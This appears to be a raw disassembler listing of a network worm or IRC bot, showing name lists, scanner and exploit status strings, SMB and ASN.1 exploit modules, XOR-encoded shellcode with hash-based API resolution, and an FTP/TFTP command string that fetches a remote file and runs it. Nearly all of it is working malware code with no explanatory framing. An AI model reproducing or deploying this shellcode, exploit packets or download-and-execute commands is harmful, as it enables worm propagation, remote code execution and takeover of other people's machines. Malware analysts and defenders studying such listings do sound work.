aAristotle	db 'Aristotle',0        ; DATA XREF: ___:0042DD64o
		align 4
aArellano	db 'Arellano',0         ; DATA XREF: ___:0042DD60o
		align 4
aArduini	db 'Arduini',0          ; DATA XREF: ___:0042DD5Co
aArbia		db 'Arbia',0            ; DATA XREF: ___:0042DD58o
		align 4
aAntos		db 'Antos',0            ; DATA XREF: ___:0042DD54o
		align 4
aAnthony	db 'Anthony',0          ; DATA XREF: ___:0042DD50o
aAnsley		db 'Ansley',0           ; DATA XREF: ___:0042DD4Co
		align 4
aAnfinrud	db 'Anfinrud',0         ; DATA XREF: ___:0042DD48o
		align 4
aAndron		db 'Andron',0           ; DATA XREF: ___:0042DD44o
		align 10h
aAndrelus	db 'Andrelus',0         ; DATA XREF: ___:0042DD40o
		align 4
aAndo		db 'Ando',0             ; DATA XREF: ___:0042DD3Co
		align 4
aAndel		db 'Andel',0            ; DATA XREF: ___:0042DD38o
		align 4
aAnand		db 'Anand',0            ; DATA XREF: ___:0042DD34o
		align 4
aAmsden		db 'Amsden',0           ; DATA XREF: ___:0042DD30o
		align 4
aAmeer		db 'Ameer',0            ; DATA XREF: ___:0042DD2Co
		align 4
aAmatangelo	db 'Amatangelo',0       ; DATA XREF: ___:0042DD28o
		align 10h
aAmaral		db 'Amaral',0           ; DATA XREF: ___:0042DD24o
		align 4
aAltenhofen	db 'Altenhofen',0       ; DATA XREF: ___:0042DD20o
		align 4
aAltenberger	db 'Altenberger',0      ; DATA XREF: ___:0042DD1Co
aAltavilla	db 'Altavilla',0        ; DATA XREF: ___:0042DD18o
		align 4
aAlongi		db 'Alongi',0           ; DATA XREF: ___:0042DD14o
		align 4
aAllison	db 'Allison',0          ; DATA XREF: ___:0042DD10o
aAleks		db 'Aleks',0            ; DATA XREF: ___:0042DD0Co
		align 4
aAlda		db 'Alda',0             ; DATA XREF: ___:0042DD08o
		align 4
aAlcorn		db 'Alcorn',0           ; DATA XREF: ___:0042DD04o
		align 4
aAlavi		db 'Alavi',0            ; DATA XREF: ___:0042DD00o
		align 4
aAhlers		db 'Ahlers',0           ; DATA XREF: ___:0042DCFCo
		align 4
aAdorno		db 'Adorno',0           ; DATA XREF: ___:0042DCF8o
		align 4
aAdibe		db 'Adibe',0            ; DATA XREF: ___:0042DCF4o
		align 4
aAdelstein	db 'Adelstein',0        ; DATA XREF: ___:0042DCF0o
		align 10h
aAddison	db 'Addison',0          ; DATA XREF: ___:off_42DCECo
aAdams		db 'Adams',0            ; DATA XREF: ___:0042DCE8o
		align 10h
aAckerman	db 'Ackerman',0         ; DATA XREF: ___:0042DCE4o
		align 4
aAbdulrazak	db 'Abdulrazak',0       ; DATA XREF: ___:off_42DCE0o
		align 4
byte_431938	db 50h			; DATA XREF: ___:0040ADF0o
					; ___:0040ADFDr
		db 43h,	2 dup(0)
dword_43193C	dd 7C7325h		; DATA XREF: ___:0040AE9Bo
dword_431940	dd 5D73255Bh, 7Ch	; DATA XREF: ___:0040AFA5o
dword_431948	dd 3F3F3Fh		; DATA XREF: ___:loc_40AF9Co
					; sub_41AA43:loc_41AB06o
dword_43194C	dd 334B32h		; DATA XREF: ___:0040AF95o
dword_431950	dd 5058h		; DATA XREF: ___:0040AF87o
					; sub_41AA43+AAo
dword_431954	dd 4B32h		; DATA XREF: ___:0040AF77o
					; sub_41AA43+98o
dword_431958	dd 454Dh		; DATA XREF: ___:0040AF5Eo
					; sub_41AA43+7Eo
dword_43195C	dd 3839h		; DATA XREF: ___:0040AF4Eo
					; sub_41AA43+6Co
dword_431960	dd 544Eh		; DATA XREF: ___:0040AF3Eo
					; sub_41AA43+5Ao
dword_431964	dd 3539h		; DATA XREF: ___:0040AF30o
					; sub_41AA43+46o
dword_431968	dd 5D64255Bh, 7325h	; DATA XREF: sub_40AFEB+3Ao
off_431970	dd offset byte_5D4D5B	; DATA XREF: sub_40AFEB+2Co
					; sub_40AFEB+57o
aMirc_0		db 'mIRC',0             ; DATA XREF: sub_40AFEB+18o
					; sub_418212+5o
		align 4
		jmp	short loc_431980
; ---------------------------------------------------------------------------


loc_43197E:				; CODE XREF: ___:loc_431980p
		jmp	short loc_431985
; ---------------------------------------------------------------------------


loc_431980:				; CODE XREF: ___:0043197Cj
		call	loc_43197E


loc_431985:				; CODE XREF: ___:loc_43197Ej
		pop	ebx
		xor	ecx, ecx
		mov	cx, 0FFFFh


loc_43198C:				; CODE XREF: ___:00431991j
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_43198C
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cl, 0FFh


loc_4319A2:				; CODE XREF: ___:004319A7j
		xor	byte ptr [ebx+0Ch], 0FFh
		inc	ebx
		loop	loc_4319A2
; ---------------------------------------------------------------------------
		db 3 dup(0)
		dd 364C033h, 0C783040h,	8B0C408Bh, 8BAD1C70h, 9EB0840h
		dd 8D34408Bh, 408B7C40h, 3D08B3Ch, 0CA8B3C40h, 8B784803h
		dd 0DA8B2041h, 331C5903h, 57F633FFh, 3CA8B57h, 7981100Ch
		dd 7373650Ah, 8B027541h, 3798133h, 72685474h, 3B8B0275h
		dd 8304C083h, 0F68504C3h, 0FF85DB74h, 0F203D774h, 0E857FA03h
		dd 12h
aTftp_exeIGet	db 'tftp.exe -i  get ',0
; ---------------------------------------------------------------------------
		push	0
		call	sub_431A44
		jnz	short loc_431A30
		retn
; ---------------------------------------------------------------------------


loc_431A30:				; CODE XREF: ___:00431A2Dj
					; ___:00431A3Dj
		call	near ptr loc_431A35+1


loc_431A35:				; CODE XREF: ___:loc_431A30p
		add	[edx+0], ch
		call	sub_431A44
		jz	loc_431A30
		retn

; =============== S U B	R O U T	I N E =======================================



sub_431A44	proc near		; CODE XREF: ___:00431A28p
					; ___:00431A38p
		pop	eax
		pop	ebx
		pop	ebp
		push	eax
		sub	esp, 54h
		xor	eax, eax
		mov	edi, esp
		lea	ecx, [eax+40h]
		mov	edx, edi
		rep stosb
		mov	al, 44h
		stosd
		push	edi
		push	edx
		push	ecx
		push	ecx
		push	28h
		push	1
		push	ecx
		push	ecx
		push	ebp
		push	ebx
		call	esi
		add	esp, 54h
		test	eax, eax
		retn
sub_431A44	endp

; ---------------------------------------------------------------------------
		align 10h
		dd 234032Dh, 65726874h,	6C206461h, 2747369h, 202D03h
aSNoSThreadFoun	db '%s No %s thread found.',0 ; DATA XREF: sub_40B385+51o
		align 4
aSSStopped_DThr	db '%s %s stopped. (%d thread(s) stopped.)',0 ; DATA XREF: sub_40B385+35o
		align 8
aSym		db 'sym',0              ; DATA XREF: sub_40C125+169o
		dd 0
		db 2 dup(0)
aSymantec	db 'Symantec',0         ; DATA XREF: sub_40B7DB+30o
		align 4
		dd 5 dup(0)
dword_431AF0	dd 0B97h		; DATA XREF: sub_401ACD+1DA1r
					; sub_401ACD+1DCAo ...
off_431AF4	dd offset sub_40E0D1	; DATA XREF: sub_40C125+1EAr
dword_431AF8	dd 0			; DATA XREF: sub_40B64B+2Eo
					; ___:0040D496w ...
dword_431AFC	dd 1			; DATA XREF: sub_40BACE+1Fr
dword_431B00	dd 1			; DATA XREF: sub_40BACE+3B3r
dword_431B04	dd 0			; DATA XREF: sub_40BACE+292r
		dd 636E76h, 0
		dd 6E760000h, 63h, 6 dup(0)
		dd 170Ch, 40E207h, 0
		dd 2 dup(1), 0
aNet139		db 'net139',0
		align 10h
		dd 654E0000h, 69706174h, 393331h, 5 dup(0)
		dd 8Bh,	40DF8Fh, 0
		dd 2 dup(1), 0
aNet445		db 'net445',0
		align 10h
		dd 654E0000h, 69706174h, 353434h, 5 dup(0)
		dd 1BDh, 40DF8Fh, 0
		dd 2 dup(1), 0
aAsn80		db 'asn80',0
		align 10h
		dd 53410000h, 2D312E4Eh, 50545448h, 5 dup(0)
		dd 50h,	40D2DAh, 0
		dd 2 dup(1), 0
aAsn445		db 'asn445',0
		align 10h
		dd 53410000h, 2D312E4Eh, 424D53h, 5 dup(0)
		dd 1BDh, 40D2DAh, 0
		dd 2 dup(1), 0
aAsn139		db 'asn139',0
		align 10h
		dd 53410000h, 2D312E4Eh, 20424D53h, 544Eh, 4 dup(0)
		dd 8Bh,	40D2DAh, 0
		dd 2 dup(1), 2 dup(0)
		dd 10100h, 0Eh dup(0)
aAsn445_0	db 'asn445',0
		align 10h
		db 2 dup(0)
byte_431CD2	db 1			; DATA XREF: sub_401ACD:loc_4037E7r
					; sub_401ACD+1D24o
		db 73h
		dd 6D79h, 0
		dd 100h, 3 dup(0)
; ---------------------------------------------------------------------------
		jmp	short loc_431CFE

; =============== S U B	R O U T	I N E =======================================



sub_431CEE	proc near		; CODE XREF: sub_431CEE:loc_431CFEp
		pop	edx
		dec	edx
		xor	ecx, ecx
		mov	cx, 166h


loc_431CF6:				; CODE XREF: sub_431CEE+Cj
		xor	byte ptr [edx+ecx], 99h
		loop	loc_431CF6
		jmp	short loc_431D03
; ---------------------------------------------------------------------------


loc_431CFE:				; CODE XREF: ___:00431CECj
		call	sub_431CEE


loc_431D03:				; CODE XREF: sub_431CEE+Ej
		jo	short near ptr dword_431C8C+12h
		cwde
		cdq
		cdq
		retn
sub_431CEE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		db 21h,	95h, 69h
		dd 9912E664h, 3485E912h, 1291D912h, 0A5EA1241h,	0EF126A9Ah
		dd 126A9AE1h, 629AB9E7h, 0AA8DD712h, 0C8CECF74h, 629AA612h
		dd 97F36B12h, 0ED3F6AC0h, 1AC6C091h, 7BDC9D5Eh,	0C7C6C070h
		dd 0DF125412h, 485A9ABDh, 0AA589A78h, 9112FF50h, 9A85DF12h
		dd 9B78585Ah, 9912589Ah, 63125A9Ah, 5F1A6E12h, 0F3491297h
		dd 0E571C09Ah, 1A999999h, 0CFCB945Fh, 0C365CE66h, 9DF34112h
		dd 99F071C0h, 0C9C99999h, 98F3C9C9h, 0CE669BF3h, 5E411269h
		dd 9E999B9Eh, 1059AA24h, 89F39DDEh, 0CE66CACEh,	0CA98F36Dh
		dd 0C961CE66h, 0CE66CAC9h, 0DD751A65h, 42AA6D12h, 10C089F3h
		dd 627B1785h, 10A1DF10h, 0DF10A5DFh, 0B5DF5ED9h, 99999898h
		dd 0C989DE14h, 0CACACACFh, 0CACA98F3h, 0FAA5DE5Eh, 1499FDF4h
		dd 0CAC9A5DEh, 0C97DCE66h, 0AA71CE66h, 591C3559h, 0CBC860ECh
		dd 4B66CACFh, 7B32C0C3h, 5A59AA77h, 66676271h, 0EDFCDE66h
		dd 0FAF6EBC9h, 0EBFDFDD8h, 99EAEAFCh, 0F8FCEBDAh, 0EBC9FCEDh
		dd 0EAFCFAF6h, 0DC99D8EAh, 0C9EDF0E1h, 0FCFAF6EBh, 0D599EAEAh
		dd 0D5FDF8F6h, 0F8EBFBF0h, 99D8E0EBh, 0C6ABEAEEh, 0CE99ABAAh
		dd 0F6CAD8CAh, 0EDFCF2FAh, 0F0FB99D8h, 0F599FDF7h, 0FCEDEAF0h
		dd 0FAF899F7h, 0EDE9FCFAh, 99h
aTotalDInS_	db ' Total: %d in %s.',0 ; DATA XREF: sub_40B64B+86o
		align 10h
dword_431E80	dd 25370320h, 203A0373h, 2C6425h ; DATA	XREF: sub_40B64B+46o
unk_431E8C	db  2Dh	; -		; DATA XREF: sub_40B64B+11o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aExploitStatist	db 'Exploit Statistics:',0
unk_431EAC	db  2Dh	; -		; DATA XREF: sub_40B71A+38o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
		db  54h	; T
		db 72h,	61h, 6Eh
		db  73h	; s
		db 66h,	65h, 72h
		db  20h
		db 53h,	74h, 61h
		db  74h	; t
		db 69h,	73h, 74h
		db  69h	; i
		db 63h,	73h, 3Ah
		db  20h
		db 2, 54h, 46h
		db  54h	; T
		db 50h,	2, 3Ah
		db  20h
		db 25h,	64h, 2Ch
		db  20h
		db 2, 46h, 54h
		db  50h	; P
		db 2, 3Ah, 20h
aDTotalDInS_	db '%d, Total %d in %s.',0
unk_431EF4	db  2Dh	; -		; DATA XREF: sub_40B786+22o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aDConnectbackSh	db '%d connectback shells in %s.',0
		align 10h
aScanTimeS_	db ' Scan Time: %s.',0  ; DATA XREF: sub_40B7DB+7Fo
dword_431F30	dd 25370320h, 28200373h, 73253403h, 2C2903h ; DATA XREF: sub_40B7DB+40o
dword_431F40	dd 234032Dh, 6E616373h,	202D0302h, 6C707845h, 2074696Fh
					; DATA XREF: sub_40B7DB+14o
		dd 7473694Ch, 3Ah
unk_431F5C	db  2Dh	; -		; DATA XREF: ___:0040BA14o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
aFinishedExploi	db '- finished exploiting %s (%d attempts)',0
unk_431F90	db  2Dh	; -		; DATA XREF: ___:0040B922o
		db 3, 34h, 2
		db  65h	; e
		db 78h,	70h, 6Ch
		db  6Fh	; o
		db 69h,	74h, 2
		db    3
		db 2Dh,	20h, 74h
		db  72h	; r
		db 79h,	69h, 6Eh
		db  67h	; g
		db 20h,	2, 25h
		db  73h	; s
		db 2, 20h, 6Fh
aNSPortD___	db 'n %s (port %d)...',0
		align 10h
unk_431FC0	db  2Dh	; -		; DATA XREF: sub_40BA57+42o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanNotActive_	db 'Scan not active.',0
		align 10h
unk_431FE0	db  2Dh	; -		; DATA XREF: sub_40BA57+2Co
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aCurrentIpS_	db 'Current IP: %s.',0
unk_431FFC	db  2Dh	; -		; DATA XREF: sub_40BACE+4B7o
		db 3, 34h, 2
		db  68h	; h
		db 2 dup(74h), 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_33	db ' Failed to start server, error: <%d>.',0
		align 10h
unk_432030	db  2Dh	; -		; DATA XREF: sub_40BACE+38Fo
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aFailedToSta_34	db '- Failed to start server, error: <%d>.',0
unk_432068	db  2Dh	; -		; DATA XREF: sub_40BACE+321o
		db 3, 34h, 2
		db  63h	; c
		db 6Fh,	2 dup(6Eh)
		db  65h	; e
		db 63h,	74h, 62h
		db  61h	; a
		db 63h,	6Bh, 2
		db    3
aServerStarte_2	db '- Server started on Port: %d.',0
		align 4
unk_432098	db  2Dh	; -		; DATA XREF: sub_40BACE+26Co
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aFailedToSta_35	db 'Failed to start server, error: <%d>.',0
		align 4
unk_4320CC	db  2Dh	; -		; DATA XREF: sub_40BACE+1FEo
		db 3, 34h, 2
		db  66h	; f
		db 74h,	70h, 64h
		db    2
		db 3, 2Dh, 20h
aServerStarte_3	db 'Server started on Port: %d, File: %s.',0
		align 10h
unk_432100	db  2Dh	; -		; DATA XREF: sub_40BACE+148o
		db 3, 34h, 2
		db  74h	; t
		db 66h,	74h, 70h
		db  64h	; d
		db 2, 3, 2Dh
aFailedToSta_36	db ' Failed to start server, error: <%d>.',0
		align 4
unk_432134	db  2Dh	; -		; DATA XREF: sub_40C125+EEo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSPortDIsOpen	db 'IP: %s, Port %d is open.',0
		align 4
unk_43215C	db  2Dh	; -		; DATA XREF: sub_40C125+93o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aIpSDScanThread	db 'IP: %s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432194	db  2Dh	; -		; DATA XREF: sub_40C125+3E6o
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedAtSDAf	db 'Finished at %s:%d after %d minute(s) of scanning.',0
		align 4
unk_4321D4	db  2Dh	; -		; DATA XREF: sub_40C125+38Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToStartW	db 'Failed to start worker thread, error: <%d>.',0
unk_43220C	db  2Dh	; -		; DATA XREF: sub_40C125+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDScanThreadDS	db '%s:%d, Scan thread: %d, Sub-thread: %d.',0
unk_432240	db  2Dh	; -		; DATA XREF: sub_40C125+29Fo
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFailedToInitia	db 'Failed to initialize critical section.',0
		align 4
dword_432274	dd 234032Dh, 6E616373h,	202D0302h, 203A5049h, 50207325h
					; DATA XREF: sub_40C59C+92o
		dd 3A74726Fh, 20642520h, 6F207369h, 2E6E6570h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSPor	db 'Scanning IP: %s, Port: %d.',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aFinishedScanni	db 'Finished scanning IP: %s.',0
		align 10h
		db  2Dh	; -
		db 3, 34h, 2
		db  70h	; p
		db 6Fh,	72h, 74h
		db  73h	; s
		db 63h,	61h, 6Eh
		db    2
		db 3, 2Dh, 20h
aScanningIpSP_0	db 'Scanning IP: %s, Port: %d.',0
		align 4
aRbrbrbrb	db 'BBBB',0         ; DATA XREF: sub_40CADB+B2o
		align 4
dword_432328	dd 10FF8h, 0		; DATA XREF: sub_40CADB+6Ao
dword_432330	dd 10FF8h		; DATA XREF: sub_40CADB+79o
dword_432334	dd 7FFDF020h, 0		; DATA XREF: sub_40CADB+162o
dword_43233C	dd 424D53FFh, 72h, 0C8531800h, 3 dup(0)	; DATA XREF: sub_40CF05+7Bo
		dd 13370000h, 0
		dd 2006200h
aPcNetworkProgr	db 'PC NETWORK PROGRAM 1.0',0
		db 2
		db  4Ch	; L
		db 41h,	4Eh, 4Dh
		db  41h	; A
		db 4Eh,	31h, 2Eh
		db  30h	; 0
		align 2
		dw 5702h
aIndowsForWorkg	db 'indows for Workgroups 3.1a',0
		db 2
		dd 2E314D4Ch, 30305832h, 4C020032h, 414D4E41h, 312E324Eh
		dd 544E0200h, 204D4C20h, 32312E30h, 0
dword_4323C4	dd 424D53FFh, 73h, 0C8071800h, 3 dup(0)	; DATA XREF: sub_40CF05+34o
		dd 13370000h, 0
		dd 0FF0Ch, 0A110400h, 2	dup(0)
dword_4323F4	dd 0			; DATA XREF: sub_40CF05+44o
		dd 800000D4h, 0
unk_432400	db  81h	; 		; DATA XREF: sub_40CFDF+Ao
		db 2 dup(0), 44h
aCkfdenecfdeffc	db ' CKFDENECFDEFFCFGEFFCCACACACACACA',0
aCacacacacacaca	db ' CACACACACACACACACACACACACACACAAA',0
		dd 0
byte_43244C	db 41h			; DATA XREF: sub_40D07D+107r
aBcdefghijklmno	db 'BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/',0
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_432490	proc near		; DATA XREF: ___:0040D35Co
		push	ebx
		push	esi
		push	edi
		sub	sp, 80h
		mov	esi, esp
		call	sub_43258C
		push	dword ptr [esi]
		push	63D61209h
		call	sub_4325A2
		mov	[esi+8], eax
		call	sub_432555
		push	dword ptr [esi+4]
		push	0CA2BD06Bh
		call	sub_4325A2
		mov	[esi+0Ch], eax
		call	sub_432507
		push	dword ptr [esi+4]
		push	4C0297FAh
		call	sub_4325A2
		xor	ebx, ebx
		push	410h
		push	ebx
		call	eax
		mov	ebx, eax
		push	esi
		mov	esi, [esi+10h]
		mov	edi, eax
		mov	ecx, 410h
		rep movsb
		pop	esi
		xor	eax, eax
		push	eax
		push	eax
		push	eax
		push	ebx
		push	eax
		push	eax
		call	dword ptr [esi+0Ch]
		mov	eax, [esi+8]
		add	sp, 80h
		pop	edi
		pop	esi
		pop	ebx
		jmp	eax
sub_432490	endp


; =============== S U B	R O U T	I N E =======================================



sub_432507	proc near		; CODE XREF: sub_432490+33p

var_20		= dword	ptr -20h
var_14		= dword	ptr -14h

		pusha
		call	sub_432530
		mov	eax, [esp+20h+var_14]
		lea	ebx, [eax+7Ch]
		add	dword ptr [ebx+3Ch], 5
		add	dword ptr [ebx+28h], 1000h
		and	dword ptr [ebx+28h], 0FFFFF000h
		mov	eax, [esp+20h+var_20]
		add	esp, 14h
		push	eax
		xor	eax, eax
		retn
sub_432507	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432530	proc near		; CODE XREF: sub_432507+1p
		xor	edx, edx
		push	dword ptr fs:[edx]
		mov	fs:[edx], esp
		xor	ebx, ebx
		mov	eax, 42904290h


loc_43253F:				; CODE XREF: sub_432530+1Aj
		xor	ecx, ecx
		mov	cl, 2
		mov	edi, ebx
		repe scasd
		jz	short loc_43254C
		inc	ebx
		jmp	short loc_43253F
; ---------------------------------------------------------------------------


loc_43254C:				; CODE XREF: sub_432530+17j
		mov	[esi+10h], edi
		pop	dword ptr fs:[edx]
		pop	eax
		popa
		retn
sub_432530	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432555	proc near		; CODE XREF: sub_432490+1Ep
		pusha
		mov	edi, 7FFDF020h
		mov	ebx, [edi]
		mov	eax, [esi+8]
		mov	[edi], eax
		mov	edi, [edi-8]
		add	edi, 178h
		mov	ecx, edi


loc_43256D:				; CODE XREF: sub_432555+1Ej
		cmp	[ecx], ebx
		jz	short loc_432575
		mov	ecx, [ecx]
		jmp	short loc_43256D
; ---------------------------------------------------------------------------


loc_432575:				; CODE XREF: sub_432555+1Aj
		mov	edx, edi


loc_432577:				; CODE XREF: sub_432555+2Aj
		cmp	[edx+4], ebx
		jz	short loc_432581
		mov	edx, [edx+4]
		jmp	short loc_432577
; ---------------------------------------------------------------------------


loc_432581:				; CODE XREF: sub_432555+25j
		mov	[ecx], edx
		mov	[edx+4], ecx
		mov	byte ptr [ebx-3], 1
		popa
		retn
sub_432555	endp


; =============== S U B	R O U T	I N E =======================================



sub_43258C	proc near		; CODE XREF: sub_432490+Ap
		mov	eax, ds:7FFDF00Ch
		mov	eax, [eax+1Ch]
		mov	ebx, [eax+8]
		mov	[esi], ebx
		mov	eax, [eax]
		mov	eax, [eax+8]
		mov	[esi+4], eax
		retn
sub_43258C	endp


; =============== S U B	R O U T	I N E =======================================



sub_4325A2	proc near		; CODE XREF: sub_432490+16p
					; sub_432490+2Bp ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		pusha
		mov	ebp, [esp+20h+arg_4]
		mov	eax, [ebp+3Ch]
		mov	edx, [ebp+eax+78h]
		add	edx, ebp
		mov	ecx, [edx+18h]
		mov	ebx, [edx+20h]
		add	ebx, ebp


loc_4325B8:				; CODE XREF: sub_4325A2+33j
		jecxz	short loc_4325F2
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	edi, edi
		xor	eax, eax
		cld


loc_4325C5:				; CODE XREF: sub_4325A2+2Dj
		lodsb
		cmp	al, ah
		jz	short loc_4325D1
		ror	edi, 0Dh
		add	edi, eax
		jmp	short loc_4325C5
; ---------------------------------------------------------------------------


loc_4325D1:				; CODE XREF: sub_4325A2+26j
		cmp	edi, [esp+20h+arg_0]
		jnz	short loc_4325B8
		mov	ebx, [edx+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edx+1Ch]
		add	ebx, ebp
		mov	eax, [ebx+ecx*4]
		add	eax, ebp
		mov	[esp+20h+var_4], eax
		popa
		retn	8
; ---------------------------------------------------------------------------


loc_4325F2:				; CODE XREF: sub_4325A2:loc_4325B8j
					; sub_4325A2:loc_4325F2j
		jmp	short loc_4325F2
sub_4325A2	endp

; ---------------------------------------------------------------------------
		align 8

; =============== S U B	R O U T	I N E =======================================



sub_4325F8	proc near		; DATA XREF: ___:0040D30Ao

arg_0		= dword	ptr  4

		add	esp, 0FFFFF254h
		cld
		call	sub_43264A
		mov	eax, [ebp+3Ch]
		mov	edi, [ebp+eax+78h]
		add	edi, ebp
		mov	ecx, [edi+18h]
		mov	ebx, [edi+20h]
		add	ebx, ebp


loc_432615:				; CODE XREF: sub_4325F8+38j
		jecxz	short loc_432645
		dec	ecx
		mov	esi, [ebx+ecx*4]
		add	esi, ebp
		xor	eax, eax
		cdq


loc_432620:				; CODE XREF: sub_4325F8+32j
		lodsb
		test	al, al
		jz	short loc_43262C
		ror	edx, 0Dh
		add	edx, eax
		jmp	short loc_432620
; ---------------------------------------------------------------------------


loc_43262C:				; CODE XREF: sub_4325F8+2Bj
		cmp	edx, [esp+arg_0]
		jnz	short loc_432615
		mov	ebx, [edi+24h]
		add	ebx, ebp
		mov	cx, [ebx+ecx*2]
		mov	ebx, [edi+1Ch]
		add	ebx, ebp
		mov	ebx, [ebx+ecx*4]
		add	ebx, ebp


loc_432645:				; CODE XREF: sub_4325F8:loc_432615j
		mov	[esp+arg_0], ebx
		retn
sub_4325F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_43264A	proc near		; CODE XREF: sub_4325F8+7p

; FUNCTION CHUNK AT 00432682 SIZE 00000008 BYTES

		xor	eax, eax
		mov	eax, fs:[eax+30h]
		test	eax, eax
		js	short loc_432663
		mov	eax, [eax+0Ch]
		mov	esi, [eax+1Ch]
		lodsd
		mov	ebp, [eax+8]
		jmp	loc_43266E
; ---------------------------------------------------------------------------


loc_432663:				; CODE XREF: sub_43264A+8j
		mov	eax, [eax+34h]
		add	eax, 7Ch
		mov	ebp, [eax+3Ch]


loc_43266E:				; CODE XREF: sub_43264A+14j
		pop	edi
		xor	esi, esi
		pusha
		push	esi
		jmp	short loc_432682
sub_43264A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_432675	proc near		; CODE XREF: sub_43264A:loc_432682p
		push	60E0CEEFh
		push	0E8AFE98h
		push	edi
		jmp	edi
sub_432675	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_43264A


loc_432682:				; CODE XREF: sub_43264A+29j
		call	sub_432675


loc_432687:				; DATA XREF: sub_40CADB+320o
		add	[eax+0], ah
; END OF FUNCTION CHUNK	FOR sub_43264A
; ---------------------------------------------------------------------------
		dw 0
dword_43268C	dd 62B0606h, 2050501h, 0A0h ; DATA XREF: sub_40CADB+2F5o
dword_432698	dd 30h			; DATA XREF: sub_40CADB+2CAo
dword_43269C	dd 0A1h			; DATA XREF: sub_40CADB+29Fo
dword_4326A0	dd 3			; DATA XREF: sub_40CADB+246o
aCccc		db 'CCCC',0             ; DATA XREF: sub_40CADB+153o
		align 4


loc_4326AC:				; DATA XREF: sub_40CADB+E8o
		jmp	short near ptr dword_4326B4
; ---------------------------------------------------------------------------
		db 6 dup(90h)
dword_4326B4	dd 0			; CODE XREF: ___:loc_4326ACj
aCmdCEchoOpenSD	db 'cmd /c echo open %s %d > o&echo user 1 1 >> o &echo get %s >> o &'
					; DATA XREF: ___:0040D331o
		db 'echo quit >> o &ftp -n -s:o &%s',0Dh,0Ah,0
		align 10h
dword_432720	dd 0E983C933h, 0D9EED9AFh, 5BF42474h ; DATA XREF: ___:0040DC4Co
; ---------------------------------------------------------------------------


loc_43272C:				; CODE XREF: ___:00432736j
		xor	dword ptr [ebx+13h], 6AD31EBBh
		sub	ebx, 0FFFFFFFCh
		loop	loc_43272C
		inc	edi
		jz	short loc_432773
		and	eax, 952CE753h
		inc	esp
		jle	short loc_43279B
		push	es
		lahf
		cmp	bl, [eax+2Fh]
		xchg	edx, [ebp+1FC36FAFh]
		cmp	al, 0E1h
; ---------------------------------------------------------------------------
		dd 355806F4h, 89381F9Bh, 5E58578Bh, 5B3D1F30h, 0EE7F877Bh
		dd 0ABD46A7Bh, 0A8D21371h, 3EE8EA50h
; ---------------------------------------------------------------------------
		lahf
		cmps	byte ptr ss:[esi], byte	ptr es:[edi]


loc_432773:				; CODE XREF: ___:00432739j
		mov	[eax], esi
		inc	ecx
		imul	dword ptr [ebx+50h]
		js	short near ptr loc_4327D2+1
		lock xchg ax, bp
; ---------------------------------------------------------------------------
		dw 768Ch
		dd 46D0F5BAh, 4EBF9730h, 5B107FA7h, 2A587A7Bh, 6693958Bh
		dd 0C7CF6E30h
; ---------------------------------------------------------------------------


loc_432798:				; CODE XREF: ___:004327C5j
		xor	[esi-25h], bl


loc_43279B:				; CODE XREF: ___:00432741j
		xor	al, 0D3h
		nop
		popf
		db	64h
		push	edi
		dec	esi
		sub	al, 0BCh
		mov	al, ch
		mov	ch, 39h
		fnsave	byte ptr [esi-20h]
		pop	eax
		shr	dword ptr [ecx-60h], cl
		pop	eax
		in	al, 4Ah
		sub	al, 0BAh


loc_4327B4:				; CODE XREF: ___:004327E7j
		rcl	ebp, cl
		db	3Eh
		xchg	eax, esi
		or	byte ptr [esi+2Ch], 0BCh
		in	al, 97h
		db	36h
		or	al, 3Ah
